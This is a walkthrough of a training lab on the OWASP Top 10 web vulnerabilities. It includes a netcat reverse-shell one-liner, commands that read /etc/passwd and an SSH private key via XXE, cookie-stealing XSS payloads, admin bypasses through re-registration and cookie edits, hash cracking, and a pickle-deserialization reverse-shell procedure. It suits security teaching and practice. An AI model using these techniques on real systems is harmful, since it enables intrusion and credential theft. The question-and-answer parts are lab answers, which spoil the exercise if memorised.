OWASP Top 10 Web Vulnerabilities
The link for this lab is located here:https://tryhackme.com/room/owasptop10
This room breaks each OWASP topic down and includes details on what the vulnerability is, how it occurs and how you can exploit it.
Some of the sklls in this room include:
Injection
Broken Authentication
Sensitive Data Exposure
XML External Entity
Broken Access Control
Security Misconfiguration
Cross-Site Scripting
Insecure Deserialization
Components with Known Vulnerabilities
Insufficient Logging and Monitoring
Severity 1 - Injection
Injection flaws are very common. These flaws occur because user controlled input is interpreted as actual commands or parameters by the application. Injection attacks depend on what technologies are being used and how exactly the input is interpreted by these technologies.
Some common examples include:
SQL Injection: occurs when user controlled input is passed to SQL queries. As a result, an attacker can pass in SQL queries to manipulate the outcome of such queries.
Command Injection: occurs when user input is passed to system commands. As a result, an attacker is able to execute arbitrary system commands on application servers.
If an attacker is able to successfully pass input that is interpreted correctly, they would be able to do the following:
Access, modify and delete information in a database when input is passed into database queries. This means that an attacker can steal sensitive information such as personal details and credentials
Execute arbitrary system commands on a server that allow an attacker to gain access to user's systems. This enables them to steal sensitive data and carry out more attacks against infrastructure linked to the server on which the command is executed.
Dangerous characters or input is classified as any input that can change how the underlying data is processed. Instead of manually constructing allow lists or stripping input, there are various libraries that perform these actions.
Severity 1 - OS Command Injection
Command injection occurs when server-side code like PHP for example in a web application makes a system call on the hosting machine. It is a web vulnerability that allows an attacker to take advantage of that made system call to execute OS commands on the server.
Sometimes this won't always end in something malicious. The thing about command injection is it opens up MANY options for the attacker. The worst thing they could do would be to spawn a reverse shell to become the user that the web server is running.
A simple ";nc -e /bin/bash" is all that is needed to completely own the server. Note however, that some variants of netcat do NOT support the "-e" option. In that case, you can use a list of other reverse shells that may work as an alternative.
Severity 1 - Command Injection Practical
Blind Command Injection occurs when the system command made to the server does NOT return the response to the user in the HTML document. Active Command Injection will return the response to the user. It can be made visible thorugh several HTML elements.
Looking at some sample code from evilshell.php, we can see what it is doing and why it makes it active command injection.
In pseudocode, the above snippet is doing the following:
Checking if the parameter "commandString" is set.
If it is, then the variable "$command_string" gets what was passed into the input field.
The program then goes into a try block to execute the function "passthru($command_string)". If you want more information on passthru(), you can read it here. In general, it is executing what gets entered into the input then passing the output directly back to the browser.
If the try does NOT succeed, output the error to the page. Generally this won't output anything because you can't output stderr but PHP doesn't let you have a try without a catch.
Ways to Detect Active Command Injection
We know that active command injection occurs when you can see the response from the system call. In the above code, the fucntion passthru() is actually what is doing all of the work here. It is passing the response directly to the document so you can see the fruits of your labour. Since we know that, we can go over some useful commands to try to enumerate the machine a bit further.
The function call here to passthru() may not always be what is happening behind the scenes. Some commands to try are:
Linux
whoami
id
ifconfig /ip addr
uname -a
ps -ef
Windows
whoami
ver
ipconfig
tasklist
netstat -en
Questions
Q1: What strange text file is in the website root directory?
A: Using the shell provided on the website, we can try typing the "ls" command to list the contents of the current directory. Once done, we can see a file called "drpepper.txt"
Q2: How many non-root/non-service/non-daemon users are there?
A: Using the "cat /etc/passwd" which reads the passwd file reveals that there are no standard usernames indicating no normal users - most likely a server or some other device only running services.
Q3: What user is this app running as?
A: Using the "whoami" command tells us who we are currently running as - in this case, it is the user www-data
Q4: What is the user's shell set as?
A: Running the same "cat /etc/passwd" reveals the shell for each user. Looking through the output for the "www-data" reveals the shell they currently use
Q5: What version of Ubuntu is running?
A: Running the "lsb_release -a" command reveals the OS version running on the PC
Q6: Print out the MOTD. What favourite beverage is shown?
A: Doing a quick Google search for the MOTD storage location on Ubuntu reveals it is located at /etc/update-motd.d/00-header. Knowing this, we can simply cat out this file "cat /etc/update-motd.d/00-header"
Severity 2 - Broken Authentication
Authentication and session management constitute core components of modern web applications. Authentication allows users to gain access to web applications by verifying their identities. The most common form of authentication is a username and password mechanism.
A user would enter these credentials and the server would verify them. If they are correct, the server would then provide the user's browser with a session cookie. A session cookie is needed because web servers use HTTP(S) to communicate which is stateless. Attaching session cookies means that the server will known who is sending what data. The server can then keep track of user's actions.
If an attacker is able to find flaws in an authentication mechanism, they would then successfully gain access to other user's accounts which would allow an attacker to access sensitive data. Some common flaws in authentication mechanisms include:
Brute force attacks: If a web application uses usernames and passwords, an attacker is able to launch brute force attacks that allow them to guess the username and passwords using multiple authentication attempts.
Use of weak credentials: web applications should set strong password policies. If applications allow users to set passwords such as ‘password1’ or common passwords, then an attacker is able to easily guess them and access user accounts. They can do this without brute forcing and without multiple attempts.
Weak Session Cookies: Session cookies are how the server keeps track of users. If session cookies contain predictable values, an attacker can set their own session cookies and access users’ accounts.
There can be various mitigations for broken authentication mechanisms depending on the exact flaw:
To avoid password guessing attacks, ensure the application enforces a strong password policy.
To avoid brute force attacks, ensure that the application enforces an automatic lockout after a certain number of attempts. This would prevent an attacker from launching more brute force attacks.
Implement Multi Factor Authentication - If a user has multiple methods of authentication, for example, using username and passwords and receiving a code on their mobile device, then it would be difficult for an attacker to get access to both credentials to get access to their account.
Severity 2 - Broken Authentication Practical
A lot of times developers will forget to sanitize input (usernames and passwords) given by the user in the code of their application which can make them vulnerable to attacks like SQL injection.
However, we are going to focus on a vulnerability that happens because of a developer's mistake but is very easy to exploit - re-registration of an existing user
Say there is an existing user with the name "admin" and now we want to get access to their account. We can try re-registering that username but with slight modifications. We can enter " admin" (single space at the start) for example.
Now, when you enter that in the username field and enter other required info, it will register a new user but that user will have the same right as a normal admin. That new user will also be able to see all the content presented under the user "admin"
Questions
Q1: What is the flag you found in Darren's account?
A: If you try registering a username of "darren" it is already taken. Next, you can try registering as " darren" with a space at the front
As you will see, it allows you to create that account. Now you can login and see the flag
Q3: What is the flag that you found in arthur's account?
A: Doing the same thing again but with " arthur" will give you the second flag once you log in
Severity 3 - Sensitive Data Exposure
When a webapp accidentally divulges sensitive data, it is called "Sensitive Data Exposure". It is often data directly linked to customers (names, date of births, financial information, etc..) but could also be more technical information such as usernames and passwords.
At more complex levels, this often involves techniques such as a "Man in the Middle Attack" whereby the attacker would force user connections through a device which they control, then take advantage of weak encryption on any transmitted data to gain access to the intercepted information.
Severity 3 - Sensitive Data Exposure (Supporting Material 1)
The most common way to store a large amount of data in a format that is easily accessible from many locations at once is in a database. Database engines usually follow the Structure Query Language (SQL) syntax; however, there are alternative formats such as NoSQL
In a production environment, it is common to see databases set up on dedicated servers running a database service such as MySQL or MariaDB. However, databases can also be stored as files. These databases are referred to as "flat-file" databases as they are stored as a single file on the computer.
Flat-file databases are stored as a file on the disk of a computer. Usually, this would NOT be a problem for a webapp, but what happens if the database is stored underneath the root directory of the website?
We can download it and query it on our own machine with full access to everything in the database.
The most common format of flat-file database is a SQLite database. These can be interacted with in most programming languages and have a dedicated client for querying them on the command line. This client is called "sqlite3" and is installed
To access a database, we use the command “sqlite3 <database-name>”
From there, you can see the tables by using the “.tables” command
At this point, you can dump all the data from the table but you won't necessarily know what each column means unless we look at the table information. First, you have to use "PRAGMA table_info(customers)" to see the table information and then use "SELECT * FROM customers;" to dump the information from the table
You can see from the table information that there are four columns:
custID
custName
creditCard
password
As such, we have the custID, custName, creditCard and password hash for each customer.
Severity 3 - Sensitive Data Exposure (Supporting Material 2)
In the previous task, we saw how to query an SQLite database for sensitive data. We found a collection of password hashes, one for each user.
When it comes to hash cracking, Kali Linux comes pre-installed with various tools. Or, as an alternative, you can use Crackstation. This website is extremely good at cracking weak password hashes.
When we navigate to the website, we are met with the following interface:
Simply copy and paste the password hash for Joy Paulson from the previous task (5f4dcc3b5aa765d61d8327deb882cf99) and solve the Captcha and then it will crack them hopefully.
Note though that Crackstation works using a massive wordlist. If the password is not in the wordlist then Crackstation will not break it.
Severity 3 - Sensitive Data Exposure (Challenge)
First, have a look around the web app. The developer left a note indicating there is sensitive data in a specific directory.
Questions
Q1: What is the name of the mentioned directory?
A: The first thing I do when looking at a website is the source code. Most of the time developers will leave comments in there to remind them of certain functionality. Looking at the source code for the main page reveals nothing. However, taking a look at the login page source code reveals a hidden reminder for the developer revealing the hidden "/assets" directory
Q2: Navigate to the directory found in question one What file stands out as being likely to contain sensitive data?
A: As we know from reading the material database files typically have a lot of sensitive data stored inside from customers and other technical information. Using this information, we can see a file that ends in the extension ".db" which indicates a database
Q3: Use the supporting material to access the sensitive data. What is the password hash of the admin user?
A: First, we download the database file. Then, we can open it using the "sqlite3 webapp.db" command on Kali or the AttackBox.
Once open, we can use the ".tables" command to list all the tables and then the "pragma table_info(users)" to understand what each column in the users table does.
Then, to get all the information, we simply list out all data from the users table with the "SELECT * FROM users;" command. This reveals the password hash for the admin user
Q4: What is the admin's plaintext password?
A: To crack the admin's plaintext password, I chose to use CrackStation that was discussed earlier. Simply copy and paste the hash into Crackstation and it should return the plaintext password if it exists in the wordlist
Q5: Login as the admin. What is the flag?
A: Now that we know the login credentials, we can navigate back to the login page and use the credentials to get the final flag
Severity 4 - XML External Entity
An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system.
They can also cause DoS (Denial of Service) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution
There are two main types of XXE attacks:
In-Band
Out-Of-Band
An In-Band XXE is where the attacker can receive an immediate response to the XXE payload
Out-Of-Band XXE attackes (Blind XXE) is where there is no immediate response from the web app and the attacker has to reflect the output of their XXE payload to some other file or their own server
Severity 4 - XML External Entity (eXtensible Markup Language)
XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. It is a markup language used for storing and transporting data.
XML is platform-independent and programming language independent, thus it can be used on any system and supports the technology change when that happens
The data stored and transports using XML can be changed at any point in time without affecting the data presentation
XML allows validation using DTD and Schema. This validation ensures that the XML document is free from any syntax error.
XML simplifies data sharing between various systems because of its platform-independent nature. XML data does not require any conversion when transferred between different systems
Every XML document mostly starts with what is known as XML Prolog
<?xml version="1.0" encoding="UTF-8"?>
This specifies the XML version and the encoding used in the XML documents. This line is not compulsory to use but is considered a "good practice" to put that line in all your XML documents
Every XML document MUST contain a ROOT element. For example:
The "<mail>" is the ROOT element of that document and "<to>", "<from>", "<subject>" and "<text>" are the children elements.
If the XML document does not have any ROOT element then it would be considered "wrong" or "invalid" XML doc
Another thing is that XML is case sensitive.
Like HTML, we can use attributes in XML too. The syntax for having attributes is also very similiar to HTML. For example:
In the above, "category" is the attribute name and "message" is the attribute value
Questions
Q1: What is the full form of XML?
A: Extensible Markup LanguageQ2: Is it compulsory to have XML prolog in XML documents?
A: NoQ3: Can we validate XML documents against a schema?
A: YesQ4: How can we specify XML version and encoding in XML document?
A: XML Prolog
Severity 4 - XML External Entity - DTD
DTD stands for Document Type Definition. A DTD defines the structure and the legal elememts and attributes of an XML document.
Let us try to understand this with the help of an example. Say we have a file named "note.dtd" with the following content.
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
Now we could use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD
Below is given an XML document that uses "note.dtd"
Let's understand how that DTD validates the XML. Here is what all the terms mean in the DTD document.
!DOCTYPE note - Defines a root element of the document named note
!ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
!ELEMENT to - Defines the to element to be of type "#PCDATA"
!ELEMENT from - Defines the from element to be of type "#PCDATA"
!ELEMENT heading - Defines the heading element to be of type "#PCDATA"
!ELEMENT body - Defines the body element to be of type "#PCDATA"
NOTE: #PCDATA means parsable character data
Questions
Q1: How do you define a new ELEMENT?
A: !ELEMENTQ2: How do you define a ROOT element?
A: !ROOTQ3: How do you define a new ENTITY?
A: !ENTITY
Severity 4 - XML External Entity - XXE Payload
The first payload is very simple. If you read the last task, you will understand the payload easily.
We are defining an ENTITY called "name" and assigning it a value of "feast". Later, we are using that ENTITY in our code
We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword
Here again we are defining an ENTITY with the name "read" but the difference is that we are setting it value to "SYSTEM" and path of the file.
If we use this payload then a website vulnerable to XXE would display the content of the file /etc/passwd
Severity 4 - XML External Entity - Exploiting
Let's see how the website would look if we try to use the payload for displaying the name.
We can see the Burp Request was sent with the URL encoded payload and we can see that the payload was able to successfully display the name "falcon feast".
Now, let's try to read the /etc/passwd
As we can see, the file is read and displayed back to us.
Questions
Q3: What is the name of the user in /etc/passwd?
A: Using the payload earlier to view the "/etc/passwd" file reveals the name of the user at the bottom - falcon
Q4: Where is falcon's SSH key located?
A: We know from earlier rooms that SSH keys are stored in the user's "home/user/.ssh" directory. In this case, it would be "/home/falcon/.ssh/id_rsa"Q5: What are the first 18 characters for falcon's private key?
A: To read the private key, we simply use the same payload we did to read the passwd file but replace the path from "/etc/passwd" to "/home/falcon/.ssh/id_rsa" to read the key instead
Severity 5 - Broken Access Control
Websites have pages that are protected from regular visitors, for example only the site's admin user should be able to access a page to manage other users. If a website visitor is able to access the protected pages that they are not authorized to view, the access controls are broken.
A regular visitor being able to access protected pages can lead to the following:
Being able to view sensitive information
Accessing unauthorized functionality
OWASP have listed a few attack scenarios demonstrating access control weaknesses:
Scenario 1
The app uses unverified data in a SQL call that is accessing account information -
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
An attacker simply modifies the "acct" parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.
http://example.com/app/accountInfo?acct=notmyacct
Scenario 2
An attacker simply force browsers to target URLs. Admin rights are required for access to the admin page
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If an unauthenticated user can access either page, it is a flaw. If a non-admin can accesss the admin page, this is a flaw.
Broken Access Control allows attackers to bypass authorization which can allow them to view sensitive data or perform tasks as if they were a privlileged user.
Severity 5 - Broken Access Control - IDOR Challenge
IDOR (Insecure Direct Object Reference) is the act of exploiting a misconfiguration in the way user input is handled, to access resources you would not ordinarily be able to access. IDOR is a type of access control vulnerability.
Let's say we are logging into a bank account and after correctly authenticating ourselves, we get taken to a URL like this:
https://example.com/bank?account_number=1234
On that page, we can see all our important bank details and a user would do whatever they needed to do and move along their way thinking nothing is wrong.
There is however a potentially huge problem - a hacker may be able to change the account_number parameter to something else like 1235 and if the site is incorrectly configured then he would have access to someone else's bank information.
Questions
Q3: Look at other users notes. What is the flag?
A: Logging into the application with the username noot and password of test1234, we can see the URL contains the note parameter - ?note=1. If we change the number to other numbers, we will reach another user account with the flag inside.
Severity 6 - Security Misconfiguration
Security misconfigurations are distinct from the other Top 10 vulnerabilities because they occur when security could have been configured properly but was not.
Security misconfigurations include:
Poorly configured permissions on coud services like S3 buckets
Having unnecessary features enabled, like services, pages, accounts or privileges
Default accounts with unchanged passwords
Error messages that are overly detailed and allow an attacker to find out more about the system
Not using HTTP security headers, or revealing too much detail in the Server: HTTP Header
This vulnerability can often lead to more vulnerabilities, such as default credentials giving you access to sensitive data, XXE or command injection on admin pages.
For more information, you can have a read here.
This VM focuses on default passwords. These are a specific example of a security misconfiguration. You could and should change ANY default passwords but people often don't.
Default passwords are particularly common in embedded and Internet of Things devices - much of the time owners don't change these passwords.
It is easy to imagine the risk of default credentials from an attacker's point of view. Being able to gain access to admin dashboards, services designed for system administrators or manufacturers or even network infrastructure could be incredibly useful in attacking a business. From data exposure to easy RCE, the effects of default credentials can be severe.
This VM showcases a security misconfiguration as part of the OWASP Top 10 vulnerabilities list. Deploy the VM and hack in by exploiting the security misconfiguration.
Questions
Q2: Hack into the web app, and find the flag!
A: One of the key things with default credential hacking is identifying the service that is powering the site or blog or anything else - things like WordPress, Squarespace, Apache Tomcat, etc... Using this information, we can see this is running something called Pensive Notes. A quick Google search reveals the GitHub documentation for this:
Inside the Github page, we can see default credentials.
Trying these credentials on the live web app, we can see that they work and our flag is revealed
Severity 7 - Cross Site Scripting
Cross-Site Scripting (XSS) is a security vulnerability typically found in web apps. It is a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim's machine.
A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in JavaScript, VBScript, Flash and CSS. There are three main types of XSS:
Stored XSS - the most dangerous type of XSS. This is where a malicious string originates from the website's database. This often happens when a website allows user input that is NOT sanitized (i.e remove the bad parts of a users input) when inserted into the database.
Reflected XSS - the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarize, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.
DOM-Based XSS - DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document and this document can be displayed in the browser window or as the HTML source.
For more XSS explanations, check out the XSS room on TryHackMe
XSS is a vulnerability that can be exploited to execute malicious JavaScript on a victim's machine. Some common payloads used are as follows:
Popup's (<script>alert(“Hello World”)</script>) - Creates a Hello World message popup on a users browser
Writing HTML (document.write) - Override the website's HTML to add your own (essentially defacing the entire page).
XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) - You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.
Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) - A mini local port scanner
XSS-Payloads.com is a website that has XSS related payloads, tools, documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.
Questions
Q2: Navigate to the site and click on the "Reflected XSS" tab on the navbar. Next, craft a reflected XSS payload that will cause a popup saying "Hello".
A: To achieve this, we use a very simple popup script discussed above such as<script>alert("Hello")</script> which executes a Hello World popup script thus triggering the flag
Q3: On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address
A: Doing a little Googling of JavaScript and how to show your IP address reveals that the "windows.location.hostname" will return the domain name of the web host or the IP address
If we replace the "Hello World" part of our previous script with the "windows.location.hostname", it will reveal the second flag
Q4: Navigate to the website and click on the "Stored XSS" tab and make an account, then add a comment and see if you can insert some of your own HTML.
A: First, we have to make an account. In my case, I used the credentials of complex for both.
Next, we can simply add a comment and include some very basic HTML like
<b> to bold some text or <h1> to make our text much larger than anticipated. In this case, I decided to make my comment <h1>This is massive text</h1>.
This then reveals the flag on the page.
Q5: On the same page, create an alert popup box that appears on the page with your document cookies
A: Again, doing a Google search for this, we find that "document.cookie" allows you to do things with cookies like create, read and delete.
In this case, we can use the same payload we did in Q3 but instead of "window.location.hostname" we use "document.cookie" in its place.
Once you hit enter, the page will popup with your cookie and then the flag
Q6: Change "XSS Playground" to "I am a hacker" by adding a comment and using JavaScript.
A: This one is a little tricky. First thing I did was to look at the actual source code and try to find XSS Playground in the source code. Looking through a bit, I found it is referenced in the HTML code using the id of "thm-title".
Next, I did a bit of Googling and found the following web page (https://www.javascripttutorial.net/dom/manipulating/get-and-set-the-text-content-of-an-element/) which helped me understand the hint on TryHackMe of the following:
<script>document.querySelector('#thm-title').textContent = "I am a hacker"</script>
This script grabs the element in the HTML with the specified ID (in this case it would be thm-title). Next, it then sets the text content of the thm-title element thereby changing the title on the web page
Severity 8 - Insecure Deserialization
Insecure deserialization is a vulnerability which occurs when untrusted data is used to abuse the logic of an application. To put it simply, insecure deserialization is replacing data processed by an application with malicious code; allowing anything from DoS (Denial of Service) to RCE (Remote Code Execution) that the attacker can use to gain a foothold in a pentesting scenario.
Specifically, this malicious code leverages the legitimate serialization and deserialization process used by web applications. OWASP ranks this vulnerability 8 out of 10 because:
Low exploitability - this vulnerability is often a case-by-case basis and there is no reliable tool or framework for it. Because of its nature, attackers need to have a good understanding of the inner workings of the ToE.
The exploit is only dangerous as the attacker's skill permits, more so, the value of the data that is exposed. For example, someone who can only cause a DoS will make the application unavailable. The business impact of this will vary on the infrastructure - some organizations will recover just fine, others, however, will not.
At summary, ultimately, any application that stores or fetches data where there are no validations or integrity checks in place for the data queried or retained. A few examples of applications of this nature are:
E-Commerce Sites
Forums
API's
Application Runtimes (Tomcat, Jenkins, Jboss, etc)
Questions
Q1: Who developed the Tomcat application?
A: Doing a quick Google search, we find that "The Apache Software Foundation" developed itQ2: What type of attack that crashes services can be performed with insecure deserialization?
A: Denial of Service
Severity 8 - Insecure Deserialization - Objects
A prominent element of object-oriented programming (OOP), objects are made up of two things:
State
Behaviour
Simply, objects allow you to create similiar lines of code without having to do the leg-work of writing the same lines of code again.
For example, a lamp would be a good object. Lamps can have different types of bulbs, this would be their state, as well as being either on/off - their behaviour.
Rather than having to accommodate every type of bulb and whether or not that specific lamp is on or off, you can use methods to simply alter the state and behaviour of the lamp.
Questions
Q1: If a dog was sleeping, would this be a state or a behaviour?
A: A behaviour
Severity 8 - Insecure Deserialization - Deserialization
A tourist approaches you in the street asking for directions. They are looking for a local landmark and got lost. Unfortunately, English is not their strong point and nor do you speak their dialect either. What do you do? You draw a map of the route to the landmark because pictures cross language barriers, they were able to find the landmark. This describes serialization and deserialization.
Serialization is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks for further processing or storage.
Alternatively, deserialization is the reverse of this; converting serialized information into their complex form - an object that the app will understand.
As an example, say you have a password of "password123" from a program that needs to be stored in a database or another system. To travel across a network this string/output needs to be converted to binary. Of course, the password needs to be stored as "password123" and not its binary notation. Once this reaches the database, it is converted or deserialized back into "password123" so it can be stored.
Simply, insecure deserialization occurs when data from an untrusted party gets executed because there is no filtering or input validation; the system assumes that the data is trustworthy and will execute it no holds barred.
Questions
Q1: What is the name of the base-2 formatting that data is sent across a network as?
A: Binary
Severity 8 - Insecure Deserialization - Cookies
Cookies are an essential tool for modern websites to function. Tiny pieces of data, these are created by a website and stored on the user's computer. Websites use cookies to store user-specific behaviours like items in their shopping cart or session IDs
In the web application, you will notice cookies store login information like the below
Whilst plaintext credentials is a vulnerability in itself, it is not insecure deserialization as we have not sent any serialized data to be executed
Cookies are not permanent storage solutions like databases. Some cookies such as session IDs will clear when the browser is closed - others last considerable longer. This is determine by the "Expiry" timer that is set when the cookie is created.
Some cookies have additional attributes, a small list is as follows:
Cookie Name - The Name of the Cookie to be set
Cookie Value - Value, this can be anything plaintext or encoded
Secure Only - If set, this cookie will only be set over HTTPS connections
Expiry - Set a timestamp where the cookie will be removed from the browser
Path - The cookie will only be sent if the specified URL is within the request
Cookies can be set in various website programming languages. For example, JavaScript, PHP or Python to name a few. The following web application is developed using Python's Flask so it is fitting to use it as an example.
Setting cookies in Flask is rather trivial. This snippet gets the current date and time, stores it within the variable "timestamp" and then stores the date and time in a cookie named "registrationTimestamp". This is what it looks like in the browser
Questions
Q1: If a cookie had the path of webapp.com/login, what would the URL that the user has to visit be?
A: webapp.com/loginQ2: What is the acronym for the web technology that Secure cookies work over?
A: HTTPS
Severity 8 - Insecure Deserialization - Cookies Practical
In the browser, navigate to the web page
Next, create an account. For me, I used username of complex and password of complex to keep it simple. After creation, you will be directed to the profile page where you have your details
Next, right-click the page and press "Inspect Element". Navigate to the "Storage" tab
You can see that there are cookies in plaintext and base64 encoded. The first flag is found in one of these cookies.
Notice that you have a cookie named "userType". You are currently a user, as confirmed by your information on the "myprofile" page. This application determines what you can and cannot see by your userType.
Next, double click the "Value" column of "userType" to modify the contents. Change the "userType" to "admin" and navigate to the /admin page to get the second flag
Questions
Q1: What is the first flag?
A: The first flag is located in one of the cookies. As there is only one that is encoded, we can assume that the encoded one includes the flag. First, we can take the encoded format from the cookie in the "Storage" tab
Once we have the base64 encoded cookie, we can use CyberChef to decode it from base64 and get the first flag
Q2: What is the second flag?
A: For the second flag, we have to change the value of the "userType" to "admin" instead of user to get access to the admin dashboard
Once changed, we can navigate to [IP]/admin to get the second flag
Severity 8 - Insecure Deserialization - Code Execution
First, we have to change the value of the userType cookie from "admin" to "user" and return to the /myprofile page
Then, left click on the URL in "Exchange your vim" . Once clicked, left click on the URL "Provide your feedback" and you will get to the following page
If a user was to enter their feedback, the data will get encoded and sent to the Flask application (presumably for storage within a database for example). However, the application assumes that any data encoded is trustworthy.
When you visit "Exchange your vim" URL, a cookie is encoded and stored within your browser - perfect for us to modify. Once you visit the feedback form, the value of this cookie is decoded and then deserialized. In the snippet below, we can see how the cookie is retrieved and then deserialized via "pickle.loads"
First, we need to setup a netcat listener on Kali via the command "nc -nvlp 4444" which creates a listener on port 4444.
Because the code being deserialized is from a base64 format, we cannot simply spawn a reverse shell. First, we must encode our own commands in base64 so the malicious code is executed.
Once the listener is active, copy and paste the source code from here to Kali and modify the source code to replace the IP.
Once modified, execute the command via the "python3 rce.py" command to get the output
Next, copy and paste everything in between the two speech marks. Once copied, paste it into the "encodedPayload" cookie in your browser
Last, refresh the page and it will hang. If you go back to the netcat listener, we should have a remote shell
Having a look around reveals a flag.txt file with our flag inside
Severity 8 - Components with Known Vulnerabilities - Introduction
Occasionally, you may find that the company/entity that you are testing is using a program that already has a well documented vulnerability. Say a company has not updated their version of WordPress for a few years, and using a tool such as "wpscan" you find that it's version 4.6.
Some quick research will reveal that WordPress 4.6 is vulnerable to an unauthenticated remote code execution (RCE) and there is an exploit on exploit-db.
This would be devastating because it requires very little work on the part of the attacker as often times the vulnerability is already well known and there is an exploit available. The situation becomes even worse when you realize that it is easy for this to happen if a company misses a single update for a program they use.
Severity 9 - Components with Known Vulnerabilities - Exploit
Our main job in this vulnerability is to find out the information of the software, and research it until we can find an exploit.
The server in the image above is using the default page for the nostromob web server. Now that we have a version number and a software name, we can use exploit-db to try and find an exploit for this particular version.
The top result is an exploit script. Download it and try to get code execution. Running the script on it's own actually teaches us an important lesson.
It may not work the first time. It helps to have an understanding of the programming language that the script is in, so that if needed you can fix any bugs or make modifications as quite a few scripts on exploit-db expect you to make modifications.
In this case, the error is caused by a line that should be commented.
If we run it again, we have RCE.
It is important to note that most scripts will tell you what arguments you need to provide. Exploit developers will rarely make you read hundreds of lines of codes to figure out how to use it.
Also worth noting that it may not always be this easy. Sometimes, you will just be given a version number but other times you may need to dig through the HTML source or take a lucky guess on an exploit script.
Severity 9 - Components with Known Vulnerabilities - Lab
Q1: How many characters are in /etc/password (use wc -c /etc/passwd to get the answer)
A: First thing to do is to do some reconnaissance on the website. On the main page, we can see it is using PHP with MySQL, Bootstrap for the frontend and at the bottom left, we can see something relating to "projectworlds"
Doing a quick Google search of something like "projectworlds exploit rce" reveals an exploit-db.com result
Next, we need to download the exploit and launch it with the parameters (http://[IP]) and it should run.
Once ran, we can simlpy execute the "wc -c /etc/passwd" command to get our answer
Severity 10 - Insufficient Logging and Monitoring
When web apps are set up, every action performed by the user should be logged. Logging is important because in the event of an incident, the attackers actions can be traced. Once their actions are traced, their risk and impact can be determined. Without logging, there would be no ways to tell what actions an attacker performed if they gain access to particular web apps. The bigger impacts of these include:
Regulatory damage - if an attacker has gained access to personally identifiable user information and there is no record, not only are users of the app affected, but the app owners may be subject to fines or more severe actions depending on regulations
Risk of further attacks - without logging, the presence of an attacker may be undetected and could allow an attacker to launch further attacks against web app owners by stealing credentials, attacking infrastructure and more
The information stored in logs should include:
HTTP Status Codes
Timestamps
Usernames
API endpoints/page locations
IP addresses
These logs do have some sensitive information on them so it is important to ensure that logs are stored securely and multiple copies of these logs are stored.
Logging is more important after a breach or incident has occurred. The ideal case is having monitoring in place to detect any suspicious activity. The aim of detecting this suspicious activity is to either stop the attacker completely or reduce the impact they have made if their presence has been detected much later than anticipated.
Common examples of suspicious activity include:
Multiple unauthorized attempts for a particular action (usually authentication attempts or access to unauthorized resources, e.g. admin pages)
Requests from anomalous IP addresses or locations - while this can indicate that someone else is trying to access a particular user's account, it can also have a false positive rate
Use of automated tools - particular automated tooling can be easily identifiable e.g. using the value of User-Agent headers or the speed of requests. This can indicate an attacker is using automated tooling
Common payloads - in web apps, it is common for attackers to use XSS payloads. Detecting the use of these payloads can indicate the presence of someone conducting unauthorized/malicious testing on apps.
Just detecting suspicious activity is not helpful. The suspicious activity needs to be rated according to the impact level.
For example, certain actions will have a higher impact. These higher impact actions need to be responded to sooner thus they should raise an alarm which raises the attention of the relevant party.
Questions
Q1: What IP address is the attacker using?
A: Looking at the log file, we can see various unauthorized attempts that the atttacker is making - repeatedly using some common usernames for admin pages
From this, we can simply look at the source IP and get our answer
